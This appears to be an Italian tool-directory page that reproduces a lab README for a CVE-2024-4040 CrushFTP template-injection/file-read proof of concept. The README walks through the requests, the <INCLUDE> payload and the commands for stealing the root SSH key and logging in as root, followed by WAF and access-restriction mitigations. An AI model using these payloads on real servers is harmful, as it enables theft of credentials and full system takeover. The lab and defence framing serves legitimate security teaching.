Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

Prova di concetto per CVE-2024-4040 (CrushFTP SSTI -> LFI non autenticato) in un ambiente di laboratorio controllato CS443 - solo per uso educativo/autorizzato.

Vedi Repository
54 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-4040 — CrushFTP SSTI / LFI Prova di concetto

Solo per uso didattico e autorizzato in laboratorio.
CS443 Sicurezza del Software e dei Sistemi — ambiente Docker locale controllato.


Riepilogo della vulnerabilità

CampoDettaglio
CVECVE-2024-4040
Software AffettoCrushFTP < 10.7.1 (ramo v10) / < 11.1.0 (ramo v11)
Tipo di vulnerabilitàIniezione di template lato server (SSTI) → Lettura di file locale non autenticata
Punteggio CVSS9.8 Critico
ImpattoAttaccanti non autenticati possono leggere file arbitrari dal filesystem del server

Il WebInterface di CrushFTP valuta le espressioni di template nel parametro path del comando zip senza sanificazione. Un attaccante non autenticato può ottenere cookie di sessione anonimi, quindi utilizzare tali cookie per passare payload di template ({working_dir}, <INCLUDE>…</INCLUDE>) che il server valuta e restituisce — consentendo la lettura arbitraria di file su tutto l'host.


Ambiente di laboratorio

ComponenteValore
Targethttp://localhost:8080
Versione CrushFTP della PoC base10.3.0 (intenzionalmente vulnerabile)
Ambiente test Mitigazione 3Contenitore separato che esegue CrushFTP 11.x (ramo corretto)
Porta SSH (contenitore)2222 → 22
Credenziali amministratoreadmin / admin
Runtime contenitoreDocker (Compose)

Prerequisiti

pip install requests rich

Script

ScriptFonteScopo
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit SSTI/LFI completo: furto di sessione, lettura file arbitraria
recon.pyQuesto repositoryRilevamento versione, probe SSTI live, conferma vulnerabilità

Procedura della Prova di concetto

Passo 1 — Avvia il laboratorio

docker-compose up -d

Attendi circa 10 secondi per l'inizializzazione completa di CrushFTP prima di eseguire gli script. Non è necessario un passaggio di riconoscimento separato qui perché crushed.py verifica già se lo sfruttamento è possibile durante l'esecuzione.


Passo 2 — Rubare la chiave privata SSH tramite LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Lo script:

  1. Ottiene una sessione anonima CrushAuth / currentAuth da /WebInterface/
  2. Usa SSTI per confermare la valutazione del template e divulgare il nome host del server
  3. Usa {working_dir} per risolvere la directory di installazione di CrushFTP
  4. Usa <INCLUDE>/root/.ssh/id_rsa</INCLUDE> per leggere il file target
  5. Stampa il contenuto grezzo del file su stdout

Copia il blocco della chiave privata dall'output (tutto da -----BEGIN OPENSSH PRIVATE KEY----- a -----END OPENSSH PRIVATE KEY-----).


Passo 3 — Salvare la chiave rubata

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<incolla la chiave dall'output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Passo 4 — SSH nel contenitore come root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Passo 5 — Confermare l'accesso root

whoami
# Previsto: root

id
# Previsto: uid=0(root) gid=0(root) groups=0(root)

hostname
# Previsto: <id_contenitore>

Diagramma della catena d'attacco

Attaccante non autenticato
        │
        ▼
GET /WebInterface/          ← ottiene cookie CrushAuth + currentAuth anonimi
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confermata — template valutato dal server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← rivela il percorso assoluto di installazione
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← lettura file arbitraria
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root completa

Problemi noti principali in crushed.py

ProblemaPosizioneDettagli
Dipendenza mancanteRighe 6–9Richiede pip install rich prima dell'esecuzione
Parsing XML fragileRighe 86, 140Si blocca su risposte server non XML; nessuna gestione di ParseError
Regex token troppo rigidaRighe 160–161Il pattern CrushAuth=…; currentAuth=… potrebbe non corrispondere a tutti i formati di sessions.obj
Solo HTTP 404Riga 53L'acquisizione dei cookie riesce solo su 404; fallisce silenziosamente su altri codici di stato

Strategie di mitigazione

Mitigazione 1 — Web Application Firewall (NGINX + ModSecurity)

Panoramica

Un WAF agisce come proxy inverso che ispeziona il traffico HTTP/S in ingresso prima che raggiunga CrushFTP. Utilizzando NGINX con ModSecurity, le richieste malevole che sfruttano CVE-2024-4040 vengono bloccate al perimetro di rete senza modificare CrushFTP stesso.

Come mitiga CVE-2024-4040

  • Blocca i pattern di path traversal (ad esempio ../, %2e%2e) negli URI delle richieste e nei cookie
  • Impedisce le richieste di fuga VFS non autenticate di raggiungere CrushFTP
  • Registra e nega payload sospetti prima che colpiscano l'applicazione

Configurazione Docker

Usa Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configurazione NGINX

Usa Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flusso del traffico

Attaccante -> NGINX WAF (porta 80) -> blocca richieste malevole -> 403 Forbidden
                              -> inoltra richieste pulite -> CrushFTP:8080

Limitazioni

  • Non corregge la causa principale – CrushFTP rimane vulnerabile se il WAF viene bypassato
  • Richiede aggiornamenti delle regole man mano che gli attaccanti sviluppano tecniche di offuscamento

Mitigazione 2 — Disabilitare l'accesso utente anonimo

Panoramica

CVE-2024-4040 è sfruttabile senza autenticazione. In questo laboratorio, l'accesso in stile anonimo viene bloccato a livello NGINX richiedendo un'intestazione Authorization prima di inoltrare le route sensibili a CrushFTP.

Come mitiga CVE-2024-4040

  • Gli script exploit come crushed.py si basano sull'accesso non autenticato; le richieste senza credenziali vengono rifiutate con 401
  • Le richieste a /WebInterface/ e / vengono negate a meno che non siano presenti dati di autenticazione
  • Riduce l'esposizione degli endpoint vulnerabili a utenti non autenticati

Configurazione Docker (esatta da Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Policy NGINX (esatta da Mitigation 2/nginx.conf)

Scarica lo strumento